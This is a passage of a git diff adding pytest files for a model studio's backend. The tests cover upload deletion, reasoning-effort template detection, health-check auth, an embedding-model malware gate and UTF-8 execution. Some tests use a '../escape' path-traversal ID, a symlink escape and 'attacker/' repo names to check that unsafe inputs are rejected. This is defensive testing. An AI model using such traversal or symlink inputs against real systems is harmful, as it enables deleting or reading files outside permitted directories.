test_unstructured_upload_import_errors_stay_generic(monkeypatch, tmp_path, exc): + seed_route = _load_seed_route(monkeypatch, tmp_path) + monkeypatch.setattr(seed_route, "_extract_text_from_file", _raise(exc)) + result = _run_upload(seed_route, "paper.pdf", b"%PDF-1.7") + + assert result.status == "error" + assert result.error == "Text extraction failed." + assert _block_files(seed_route) == [] + + +_TEST_UPLOAD_UID = "0f" * 16 + + +def test_remove_unstructured_block_deletes_directory(monkeypatch, tmp_path): + seed_route = _load_seed_route(monkeypatch, tmp_path) + _run_upload(seed_route, "notes.txt", b"hello", block_id = _TEST_UPLOAD_UID) + assert _block_files(seed_route, _TEST_UPLOAD_UID) != [] + + result = asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID)) + + assert result == {"status": "ok", "deleted": True} + assert not (seed_route.UNSTRUCTURED_UPLOAD_ROOT / _TEST_UPLOAD_UID).exists() + + +def test_remove_unstructured_block_missing_directory_is_ok(monkeypatch, tmp_path): + seed_route = _load_seed_route(monkeypatch, tmp_path) + + result = asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID)) + + assert result == {"status": "ok", "deleted": False} + + +def test_remove_unstructured_block_rejects_unsafe_ids(monkeypatch, tmp_path): + seed_route = _load_seed_route(monkeypatch, tmp_path) + + with pytest.raises(seed_route.HTTPException) as exc: + asyncio.run(seed_route.remove_unstructured_block("../escape")) + + assert exc.value.status_code == 400 + + +def test_remove_unstructured_block_rejects_legacy_node_ids(monkeypatch, tmp_path): + seed_route = _load_seed_route(monkeypatch, tmp_path) + _run_upload(seed_route, "notes.txt", b"hello", block_id = "n1") + assert _block_files(seed_route, "n1") != [] + + with pytest.raises(seed_route.HTTPException) as exc: + asyncio.run(seed_route.remove_unstructured_block("n1")) + + assert exc.value.status_code == 400 + assert _block_files(seed_route, "n1") != [] + + +def test_remove_unstructured_block_rejects_symlink_escape(monkeypatch, tmp_path): + seed_route = _load_seed_route(monkeypatch, tmp_path) + outside = tmp_path / "outside" + outside.mkdir() + (outside / "victim.txt").write_text("keep me") + root = seed_route.UNSTRUCTURED_UPLOAD_ROOT + root.mkdir(parents = True) + (root / _TEST_UPLOAD_UID).symlink_to(outside) + + with pytest.raises(seed_route.HTTPException) as exc: + asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID)) + + assert exc.value.status_code == 400 + assert (outside / "victim.txt").exists() + + +def test_remove_unstructured_block_fails_if_directory_remains(monkeypatch, tmp_path): + seed_route = _load_seed_route(monkeypatch, tmp_path) + root = seed_route.UNSTRUCTURED_UPLOAD_ROOT + block_dir = root / _TEST_UPLOAD_UID + block_dir.mkdir(parents = True) + (block_dir / "victim.txt").write_text("keep me") + + calls = [] + + def noop_rmtree(path, *args, **kwargs): + calls.append((path, args, kwargs)) + + monkeypatch.setattr(seed_route.shutil, "rmtree", noop_rmtree) + + with pytest.raises(seed_route.HTTPException) as exc: + asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID)) + + assert calls + assert exc.value.status_code == 500 + assert block_dir.exists() + + +def test_total_upload_quota_is_scoped_per_block(monkeypatch, tmp_path): + seed_route = _load_seed_route(monkeypatch, tmp_path) + monkeypatch.setattr(seed_route, "UNSTRUCTURED_RECIPE_UPLOAD_TOTAL_MAX_BYTES", 10) + + first = _run_upload(seed_route, "a.txt", b"123456789") + assert first.status == "ok" + + with pytest.raises(seed_route.HTTPException) as exc: + _run_upload(seed_route, "b.txt", b"123") + assert exc.value.status_code == 413 + + # Another block starts with its own untouched budget. + other = _run_upload(seed_route, "c.txt", b"123", block_id = "other") + assert other.status == "ok" diff --git a/studio/backend/tests/test_deepseek_v4_thinking_effort.py b/studio/backend/tests/test_deepseek_v4_thinking_effort.py new file mode 100644 index 0000000000..19808ad0d7 --- /dev/null +++ b/studio/backend/tests/test_deepseek_v4_thinking_effort.py @@ -0,0 +1,181 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""DeepSeek-V4-Flash reasoning toggle: None / High / Max. + +The GGUF template gates thinking with ``enable_thinking`` and only branches +``reasoning_effort`` on ``'max'`` (an escalation layered over plain thinking). +Detection used to return the single level ``['max']``, so the UI collapsed to +None / Max and the plain-thinking tier was unreachable. Detection now surfaces +``'high'`` as that plain tier, giving None / High / Max. These tests pin the +classifier, the GLM-style parity case, and the full request-kwargs -> rendered +prompt path for each state (the model itself is too large to load here). +""" + +from __future__ import annotations + +import sys +from pathlib import Path +from types import SimpleNamespace + +import pytest + +_backend_root = Path(__file__).resolve().parent.parent +if str(_backend_root) not in sys.path: + sys.path.insert(0, str(_backend_root)) + + +# Faithful slice of the DeepSeek-V4-Flash GGUF template: the enable_thinking +# gate, the sole ``reasoning_effort == 'max'`` escalation, and the plain-think +# fallback. Any non-'max' effort renders as ordinary thinking. +DEEPSEEK_V4_TEMPLATE = """ +{%- if not thinking is defined -%} + {%- if enable_thinking is defined -%} + {%- set thinking = enable_thinking -%} + {%- else -%} + {%- set thinking = false -%} + {%- endif -%} +{%- endif -%} +{%- if not reasoning_effort is defined -%} + {%- set reasoning_effort = none -%} +{%- endif -%} +{{- bos_token -}} +{%- if thinking and reasoning_effort == 'max' -%} + {{- 'Reasoning Effort: Absolute maximum with no shortcuts permitted.\\n\\n' -}} +{%- endif -%} +{%- for message in messages -%} + {{- '<|User|>' + (message['content'] or '') -}} +{%- endfor -%} +{%- if add_generation_prompt -%} + {{- '<|Assistant|>' -}} + {%- if thinking -%}{{- '' -}}{%- else -%}{{- '' -}}{%- endif -%} +{%- endif -%} +""" + + +# GLM-5.2-style: branches on two effort literals, so 'high' already exists as +# the sub-'max' tier and detection must leave the pair untouched. +GLM_STYLE_TEMPLATE = """ +{%- if enable_thinking -%} + {%- if reasoning_effort == 'high' -%}{{- 'H' -}} + {%- elif reasoning_effort == 'max' -%}{{- 'M' -}} + {%- endif -%} +{%- endif -%} +""" + + +# A ['max']-only template under a non-deepseek id: the synthetic 'high' is scoped +# to deepseek-v4, so this must stay ['max'] (no phantom 'high'). +NON_DEEPSEEK_MAX_ONLY_TEMPLATE = DEEPSEEK_V4_TEMPLATE + + +# A template whose sole effort literal is a sub-'max' level: the guard targets +# only the ['max']-alone case, so a lone 'high' stays a singleton. +HIGH_ONLY_TEMPLATE = """ +{%- if enable_thinking and reasoning_effort == 'high' -%}{{- 'H' -}}{%- endif -%} +""" + + +def _render(template: str, **kwargs) -> str: + jinja2 = pytest.importorskip("jinja2") + env = jinja2.Environment() + tmpl = env.from_string(template) + return tmpl.render(bos_token = "", add_generation_prompt = True, **kwargs) + + +# -- Classifier ------------------------------------------------------- + + +def test_deepseek_v4_surfaces_high_as_plain_tier(): + """Sole 'max' escalation expands to ['high', 'max'] so None/High/Max show.""" + from core.inference.llama_cpp import detect_reasoning_flags + + flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash") + assert flags["supports_reasoning"] is True + assert flags["reasoning_style"] == "enable_thinking_effort" + assert flags["reasoning_effort_levels"] == ["high", "max"] + + +def test_glm_style_two_level_template_unchanged(): + """A template that already names a sub-'max' tier is left as-is.""" + from core.inference.llama_cpp import detect_reasoning_flags + + flags = detect_reasoning_flags(GLM_STYLE_TEMPLATE, "unsloth/GLM-5.2") + assert flags["reasoning_style"] == "enable_thinking_effort" + assert flags["reasoning_effort_levels"] == ["high", "max"] + + +def test_synthetic_high_scoped_to_deepseek_v4(): + """The same ['max']-only template under a non-deepseek id keeps ['max'].""" + from core.inference.llama_cpp import detect_reasoning_flags + + flags = detect_reasoning_flags(NON_DEEPSEEK_MAX_ONLY_TEMPLATE, "vendor/OtherHybrid-GGUF") + assert flags["reasoning_effort_levels"] == ["max"] + + +def test_guard_does_not_fire_for_sub_max_singleton(): + """The expansion targets only ['max']; a lone 'high' stays a singleton.""" + from core.inference.llama_cpp import detect_reasoning_flags + + flags = detect_reasoning_flags(HIGH_ONLY_TEMPLATE, "custom/high-only") + assert flags["reasoning_effort_levels"] == ["high"] + + +# -- Request kwargs -> rendered prompt, for each state ---------------- + + +def _kwargs_for(flags: dict, enable_thinking, reasoning_effort): + """Drive the real backend method with a shim carrying the detected flags.""" + from core.inference.llama_cpp import LlamaCppBackend + + shim = SimpleNamespace( + _supports_reasoning = flags["supports_reasoning"], + _reasoning_always_on = flags["reasoning_always_on"], + _reasoning_style = flags["reasoning_style"], + _reasoning_effort_levels = flags["reasoning_effort_levels"], + _supports_preserve_thinking = flags["supports_preserve_thinking"], + ) + build = LlamaCppBackend._request_reasoning_kwargs.__get__(shim) + return build(enable_thinking, reasoning_effort, None) or {} + + +def _flags(): + from core.inference.llama_cpp import detect_reasoning_flags + return detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash") + + +def test_none_state_renders_non_thinking(): + """UI 'None' -> enable_thinking=false -> closed , no preamble.""" + kwargs = _kwargs_for(_flags(), enable_thinking = False, reasoning_effort = None) + assert kwargs == {"enable_thinking": False} + out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs) + assert out.endswith("") + assert "Absolute maximum" not in out + + +def test_high_state_renders_plain_thinking(): + """UI 'High' -> et=true, effort=high -> open , no max preamble.""" + kwargs = _kwargs_for(_flags(), enable_thinking = True, reasoning_effort = "high") + assert kwargs == {"enable_thinking": True, "reasoning_effort": "high"} + out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs) + assert out.endswith("") + assert "Absolute maximum" not in out + + +def test_max_state_injects_max_preamble(): + """UI 'Max' -> et=true, effort=max -> open plus the max preamble.""" + kwargs = _kwargs_for(_flags(), enable_thinking = True, reasoning_effort = "max") + assert kwargs == {"enable_thinking": True, "reasoning_effort": "max"} + out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs) + assert out.endswith("") + assert "Absolute maximum" in out + + +def test_high_effort_alone_enables_thinking(): + """API caller sending only reasoning_effort='high' (no enable_thinking) still + gets thinking on, so the newly exposed High mode renders correctly.""" + kwargs = _kwargs_for(_flags(), enable_thinking = None, reasoning_effort = "high") + assert kwargs == {"enable_thinking": True, "reasoning_effort": "high"} + out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs) + assert out.endswith("") + assert "Absolute maximum" not in out diff --git a/studio/backend/tests/test_desktop_auth.py b/studio/backend/tests/test_desktop_auth.py index b4b39ba1a9..591d44b736 100644 --- a/studio/backend/tests/test_desktop_auth.py +++ b/studio/backend/tests/test_desktop_auth.py @@ -451,7 +451,8 @@ def test_health_response_reports_desktop_capability_fields(monkeypatch): import studio.backend.main as backend_main - monkeypatch.setattr(backend_main._hw_module, "CHAT_ONLY", False) + monkeypatch.setattr(backend_main._hw_module, "CHAT_ONLY", True) + monkeypatch.setattr(backend_main._hw_module, "CHAT_ONLY_REASON", "mlx_unavailable") seed_user() from auth.authentication import create_access_token @@ -462,6 +463,12 @@ def test_health_response_reports_desktop_capability_fields(monkeypatch): app.add_api_route("/api/health", backend_main.health_check, methods = ["GET"]) client = TestClient(app) + unauthenticated = client.get("/api/health") + assert unauthenticated.status_code == 200 + unauthenticated_body = unauthenticated.json() + assert unauthenticated_body["chat_only"] is True + assert "chat_only_reason" not in unauthenticated_body + response = client.get( "/api/health", headers = {"Authorization": f"Bearer {token}"}, @@ -471,6 +478,7 @@ def test_health_response_reports_desktop_capability_fields(monkeypatch): assert body["desktop_protocol_version"] == 1 assert body["supports_desktop_auth"] is True + assert body["chat_only_reason"] == "mlx_unavailable" def test_provision_desktop_auth_writes_secret_and_creates_db_without_backend_deps( diff --git a/studio/backend/tests/test_embedding_model_security_gate.py b/studio/backend/tests/test_embedding_model_security_gate.py new file mode 100644 index 0000000000..940b35d7ba --- /dev/null +++ b/studio/backend/tests/test_embedding_model_security_gate.py @@ -0,0 +1,365 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""The RAG embedding model must pass the malware/pickle gate before it is persisted or +loaded. A flagged repo (or any repo saved with force) previously reached +SentenceTransformer unscanned, bypassing the normal model-load protections.""" + +from pathlib import Path +import sys +import types as _types + + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +_loggers_stub = _types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) + +import pytest +from fastapi import FastAPI +from fastapi.testclient import TestClient + +import routes.settings as settings + + +class _Decision: + def __init__(self, blocked): + self.blocked = blocked + + +def _security_stub(blocked): + mod = _types.ModuleType("utils.security") + mod.evaluate_file_security = lambda *a, **k: _Decision(blocked) + mod.security_load_subdirs = lambda *a, **k: () + return mod + + +@pytest.fixture +def client(monkeypatch): + # The settings scan unions in the ST module dirs read from modules.json; keep it + # offline and deterministic for the endpoint tests that use this fixture. + import core.rag.embeddings as embeddings + + monkeypatch.setattr(embeddings, "_st_module_subdirs", lambda name, token = None: ()) + saved: dict = {} + monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed") + monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v) + monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v)) + monkeypatch.setattr(settings, "_llama_backend_active", lambda: False) + monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False) + monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", "")) + monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model")) + + app = FastAPI() + app.include_router(settings.router) + app.dependency_overrides[settings.get_current_subject] = lambda: "admin" + return TestClient(app, raise_server_exceptions = False), saved + + +def test_flagged_repo_is_blocked_even_with_force(client, monkeypatch): + c, saved = client + monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True)) + r = c.put( + "/embedding-model", json = {"embedding_model": "attacker/malicious-embed", "force": True} + ) + # 403, not the forceable 409, so the client does not offer "save anyway". + assert r.status_code == 403 + assert "model" not in saved # force must not persist a flagged repo + + +def test_flagged_repo_is_blocked_without_force(client, monkeypatch): + c, saved = client + monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True)) + r = c.put("/embedding-model", json = {"embedding_model": "attacker/malicious-embed"}) + assert r.status_code == 403 + assert "model" not in saved + + +def test_hard_block_uses_non_forceable_status(client, monkeypatch): + # The forceable verification path uses 409; the hard security block must be distinct + # (403) so the frontend never routes it into the "save anyway" force flow. + c, _saved = client + monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True)) + blocked = c.put("/embedding-model", json = {"embedding_model": "attacker/malicious-embed"}) + assert blocked.status_code == 403 + + # A verification failure (not-an-embedding-model) stays forceable at 409. + monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False)) + monkeypatch.setattr(settings, "is_embedding_model", lambda *a, **k: False, raising = False) + import utils.models as _models + + monkeypatch.setattr(_models, "is_embedding_model", lambda *a, **k: False) + unverified = c.put("/embedding-model", json = {"embedding_model": "acme/not-an-embedder"}) + assert unverified.status_code == 409 + + +def test_llama_backend_skips_the_st_pickle_scan(monkeypatch): + # On the llama-server backend the embedder loads GGUF (inert), not the ST repo's + # pickle, so a flagged ST repo with a clean GGUF companion must not be rejected here. + saved: dict = {} + monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed") + monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v) + monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v)) + monkeypatch.setattr(settings, "_llama_backend_active", lambda: True) + monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False) + monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", "")) + monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model")) + # force skips the GGUF availability checks; the ST pickle gate is what we assert is skipped. + called = {"scanned": False} + mod = _types.ModuleType("utils.security") + + def _fail(*a, **k): + called["scanned"] = True + return _Decision(True) + + mod.evaluate_file_security = _fail + mod.security_load_subdirs = lambda *a, **k: () + monkeypatch.setitem(sys.modules, "utils.security", mod) + + app = FastAPI() + app.include_router(settings.router) + app.dependency_overrides[settings.get_current_subject] = lambda: "admin" + c = TestClient(app, raise_server_exceptions = False) + r = c.put( + "/embedding-model", + json = {"embedding_model": "attacker/flagged-st-clean-gguf", "force": True}, + ) + assert r.status_code == 200 + assert called["scanned"] is False # the ST pickle scan never ran on the llama path + assert saved.get("model") == "attacker/flagged-st-clean-gguf" + + +def test_runtime_llama_fallback_skips_the_st_pickle_scan(monkeypatch): + # auto resolves to sentence-transformers (GPU present) but the embedder fell back to + # llama-server at runtime (torch/CUDA load or encode failure), so the process now loads + # only inert GGUF. The real _llama_backend_active() must reflect that cached fallback, + # so a flagged ST repo with a clean GGUF companion must not be hard-blocked here. + import core.rag.embeddings as embeddings + from core.rag.embed_llama_server import LlamaServerBackend + + # Simulate the runtime fallback: the process-wide backend is a LlamaServerBackend even + # though the auto resolver would still say sentence-transformers. + monkeypatch.setattr(embeddings, "_backend", LlamaServerBackend()) + monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers") + monkeypatch.setattr(embeddings, "_st_module_subdirs", lambda name, token = None: ()) + + saved: dict = {} + monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed") + monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v) + monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v)) + # Deliberately do NOT monkeypatch settings._llama_backend_active: this test exercises the + # real delegation to embeddings.active_backend_is_llama() so the cached fallback is honored. + monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False) + monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", "")) + monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model")) + + called = {"scanned": False} + mod = _types.ModuleType("utils.security") + + def _fail(*a, **k): + called["scanned"] = True + return _Decision(True) + + mod.evaluate_file_security = _fail + mod.security_load_subdirs = lambda *a, **k: () + monkeypatch.setitem(sys.modules, "utils.security", mod) + + app = FastAPI() + app.include_router(settings.router) + app.dependency_overrides[settings.get_current_subject] = lambda: "admin" + c = TestClient(app, raise_server_exceptions = False) + r = c.put( + "/embedding-model", + json = {"embedding_model": "attacker/flagged-st-clean-gguf", "force": True}, + ) + assert r.status_code == 200 + assert called["scanned"] is False # the ST pickle scan never ran on the llama fallback + assert saved.get("model") == "attacker/flagged-st-clean-gguf" + + +def test_active_backend_is_llama_reflects_cache_and_resolver(monkeypatch): + # active_backend_is_llama() reports the ACTUAL built backend when one exists, and defers + # to the resolver (fresh-process behavior) when none has been built yet. + import core.rag.embeddings as embeddings + import core.rag.config as rag_config + from core.rag.embed_llama_server import LlamaServerBackend + + # A cached llama backend wins even when auto would resolve to sentence-transformers. + monkeypatch.setattr(rag_config, "EMBED_BACKEND", "auto") + monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers") + monkeypatch.setattr(embeddings, "_backend", LlamaServerBackend()) + assert embeddings.active_backend_is_llama() is True + + # A cached ST backend reports False even when the resolver now picks llama, so its + # pickle stays gated (the cached backend, not the resolver, is what actually embeds). + monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "llama-server") + monkeypatch.setattr(embeddings, "_backend", embeddings._SentenceTransformersBackend()) + assert embeddings.active_backend_is_llama() is False + + # No cached backend -> the resolver decides, unchanged from before. + monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers") + monkeypatch.setattr(embeddings, "_backend", None) + assert embeddings.active_backend_is_llama() is False # auto -> sentence-transformers + + monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "llama-server") + assert embeddings.active_backend_is_llama() is True # auto -> llama-server + + # An explicit (non-auto) key is honored verbatim without a cached backend. + monkeypatch.setattr(rag_config, "EMBED_BACKEND", "llama-server") + assert embeddings.active_backend_is_llama() is True + + +def test_settings_scan_scopes_module_subdirs(monkeypatch): + # The settings scan must pass the ST module dirs (0_Transformer/) as load roots so a + # pickle directly under one blocks; assert those subdirs reach evaluate_file_security. + saved: dict = {} + monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed") + monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v) + monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v)) + monkeypatch.setattr(settings, "_llama_backend_active", lambda: False) + monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False) + monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", "")) + monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model")) + + import core.rag.embeddings as embeddings + + monkeypatch.setattr( + embeddings, "_st_module_subdirs", lambda name, token = None: ("0_Transformer",) + ) + seen = {} + + def _capture(*a, **k): + seen["subdirs"] = tuple(k.get("load_subdirs") or ()) + return _Decision(False) + + mod = _types.ModuleType("utils.security") + mod.security_load_subdirs = lambda *a, **k: () + mod.evaluate_file_security = _capture + monkeypatch.setitem(sys.modules, "utils.security", mod) + + app = FastAPI() + app.include_router(settings.router) + app.dependency_overrides[settings.get_current_subject] = lambda: "admin" + c = TestClient(app, raise_server_exceptions = False) + r = c.put( + "/embedding-model", json = {"embedding_model": "acme/embed-with-module-dir", "force": True} + ) + assert r.status_code == 200 + assert "0_Transformer" in seen["subdirs"] + + +def test_clean_repo_saves_under_force(client, monkeypatch): + c, saved = client + monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False)) + r = c.put("/embedding-model", json = {"embedding_model": "acme/clean-embed", "force": True}) + assert r.status_code == 200 + assert saved.get("model") == "acme/clean-embed" + + +def test_load_sink_refuses_flagged_model(monkeypatch): + monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True)) + import core.rag.embeddings as embeddings + with pytest.raises(embeddings.UnsafeEmbeddingModelError): + embeddings._guard_model_security("attacker/malicious-embed") + + +def test_load_sink_allows_clean_model(monkeypatch): + monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False)) + import core.rag.embeddings as embeddings + embeddings._guard_model_security("acme/clean-embed") # no raise + + +def test_sink_threads_ambient_token_into_scan(monkeypatch): + # A gated repo set via env/default has no request token; the guard must feed the + # loader's own token to the scan, or it fails open for the repo that still loads. + seen = {} + mod = _types.ModuleType("utils.security") + mod.security_load_subdirs = ( + lambda name, token = None: seen.setdefault("subdirs_token", token) or () + ) + mod.evaluate_file_security = lambda *a, **k: seen.setdefault( + "scan_token", k.get("hf_token") + ) or _Decision(False) + monkeypatch.setitem(sys.modules, "utils.security", mod) + import core.rag.embeddings as embeddings + + monkeypatch.setattr(embeddings, "_ambient_hf_token", lambda: "hf_ambient") + embeddings._guard_model_security("acme/gated-embed") + assert seen["scan_token"] == "hf_ambient" + assert seen["subdirs_token"] == "hf_ambient" + + +def test_sink_scopes_st_module_subdirs_into_scan(monkeypatch): + # A flagged pickle directly under a Transformer module dir (0_Transformer/) must + # reach the scan as a load root; assert the guard unions the module dirs into + # load_subdirs so evaluate_file_security treats such a pickle as root-level. + seen = {} + + def _capture(*a, **k): + seen["subdirs"] = tuple(k.get("load_subdirs") or ()) + return _Decision(False) + + mod = _types.ModuleType("utils.security") + mod.security_load_subdirs = lambda name, token = None: () + mod.evaluate_file_security = _capture + monkeypatch.setitem(sys.modules, "utils.security", mod) + import core.rag.embeddings as embeddings + + monkeypatch.setattr(embeddings, "_ambient_hf_token", lambda: None) + monkeypatch.setattr( + embeddings, "_st_module_subdirs", lambda name, token = None: ("0_Transformer",) + ) + embeddings._guard_model_security("acme/embed-with-module-dir") + assert "0_Transformer" in seen["subdirs"] + + +def test_st_module_subdirs_reads_local_modules_json(tmp_path, monkeypatch): + # The helper must parse each module's non-empty "path" from a local repo's + # modules.json and drop the root-level ("") Transformer entry. + import json + import core.rag.embeddings as embeddings + + (tmp_path / "modules.json").write_text( + json.dumps( + [ + {"idx": 0, "name": "0", "path": "0_Transformer", "type": "..."}, + {"idx": 1, "name": "1", "path": "1_Pooling", "type": "..."}, + {"idx": 2, "name": "2", "path": "", "type": "..."}, + ] + ) + ) + subdirs = embeddings._st_module_subdirs(str(tmp_path), None) + assert subdirs == ("0_Transformer", "1_Pooling") + + +def test_st_module_subdirs_swallows_errors(monkeypatch): + # Any failure (no modules.json, offline, malformed) returns () so the guard never + # bricks the embedder. + import huggingface_hub + import core.rag.embeddings as embeddings + + def _boom(*a, **k): + raise RuntimeError("offline") + + monkeypatch.setattr(huggingface_hub, "hf_hub_download", _boom) + assert embeddings._st_module_subdirs("acme/no-such-repo-xyz", None) == () + + +def test_security_block_is_not_swallowed_by_llama_fallback(monkeypatch): + # The ST encode fallback must re-raise a security block, not swap to llama-server. + import core.rag.embeddings as embeddings + + def _boom(*a, **k): + raise embeddings.UnsafeEmbeddingModelError("flagged") + + monkeypatch.setattr(embeddings, "_st_encode", _boom) + monkeypatch.setattr( + embeddings, + "_switch_to_llama_fallback", + lambda err: pytest.fail("security block must not fall back to llama-server"), + ) + with pytest.raises(embeddings.UnsafeEmbeddingModelError): + embeddings._SentenceTransformersBackend().encode(["hi"]) diff --git a/studio/backend/tests/test_embedding_model_settings.py b/studio/backend/tests/test_embedding_model_settings.py new file mode 100644 index 0000000000..3be4af0e32 --- /dev/null +++ b/studio/backend/tests/test_embedding_model_settings.py @@ -0,0 +1,55 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Test for the customizable RAG embedding model: a saved override becomes the +effective model and derives its GGUF companion for the llama-server backend.""" + +from pathlib import Path +import sys +import types as _types + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +_loggers_stub = _types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) + +import pytest + +import utils.embedding_model_settings as ems +from core.rag import config as rag_config + + +@pytest.fixture +def settings_store(monkeypatch): + """In-memory app_settings store patched under the module's lazy imports.""" + import storage.studio_db as studio_db + + store: dict = {} + monkeypatch.setattr( + studio_db, "get_app_setting", lambda key, fallback = None: store.get(key, fallback) + ) + monkeypatch.setattr( + studio_db, "upsert_app_settings", lambda settings: store.update(settings) or store + ) + ems._invalidate_cache() + yield store + ems._invalidate_cache() + + +def test_custom_model_overrides_default_and_derives_gguf(settings_store, monkeypatch): + """The core contract: with nothing stored the default is in effect; a saved + custom model becomes the effective embedding model and derives its -GGUF + companion (what the llama-server backend loads); reset clears the override.""" + monkeypatch.delenv("RAG_EMBED_GGUF_REPO", raising = False) + assert ems.get_rag_embedding_model() == rag_config.EMBEDDING_MODEL + assert rag_config.effective_gguf_repo() == rag_config.EMBED_GGUF_REPO + + assert ems.set_rag_embedding_model(" org/my-embedder ") == "org/my-embedder" + assert rag_config.effective_embedding_model() == "org/my-embedder" + assert rag_config.effective_gguf_repo() == "org/my-embedder-GGUF" + + assert ems.reset_rag_embedding_model() == rag_config.EMBEDDING_MODEL + assert ems.get_stored_embedding_model() is None diff --git a/studio/backend/tests/test_exec_utf8.py b/studio/backend/tests/test_exec_utf8.py new file mode 100644 index 0000000000..90b78754ed --- /dev/null +++ b/studio/backend/tests/test_exec_utf8.py @@ -0,0 +1,33 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +"""_python_exec must round-trip non-ASCII output end to end. + +Model-written code routinely contains non-ASCII (arrows, CJK, emoji). The temp +script and the child's stdout pipe both have to be UTF-8 or it crashes/garbles +on Windows, whose default codec is cp1252. Mirrors the report in +unslothai/unsloth#6489. The child is ``python`` with PYTHONIOENCODING=utf-8, so +it emits UTF-8 on every OS; this proves the round-trip on a UTF-8 host and +guards against a regression to the OS default codec. +""" + +import sys +from pathlib import Path + +import pytest + +_BACKEND_ROOT = Path(__file__).resolve().parents[1] +if str(_BACKEND_ROOT) not in sys.path: + sys.path.insert(0, str(_BACKEND_ROOT)) + +from core.inference.tools import _python_exec + +# Arrow, em-dash, accent, CJK, check mark, astral-plane emoji -- none encodable +# in cp1252, so the OS default codec would raise on write or read. +_UNICODE = "café — 数字 → ✓ 😀" + + +@pytest.mark.parametrize("disable_sandbox", [False, True]) +def test_python_exec_round_trips_non_ascii(disable_sandbox): + out = _python_exec(f"print({_UNICODE!r})", disable_sandbox = disable_sandbox) + assert _UNICODE in out, repr(out) diff --git a/studio/backend/tests/test_export_capability.py b/studio/backend/tests/test_export_capability.py new file mode 100644 index 0000000000..e04417f933 --- /dev/null +++ b/studio/backend/tests/test_export_capability.py @@ -0,0 +1,156 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for export capability gating. + +Export is supported iff ``get_device() in {CUDA, XPU, MLX}``, with a torch-aware reason otherwise +(pytorch_not_installed / no_accelerator / mlx_unavailable), and the backend must import without +PyTorch. The matrix mocks the hardware probes; wiring is checked with ast so it runs on CPU. +""" + +import ast +import builtins +from pathlib import Path + +import pytest + +import utils.hardware.hardware as hw + +_BACKEND = Path(__file__).resolve().parent.parent + + +def _src(rel): + return (_BACKEND / rel).read_text(encoding = "utf-8") + + +def _func_src(rel, name): + src = _src(rel) + node = 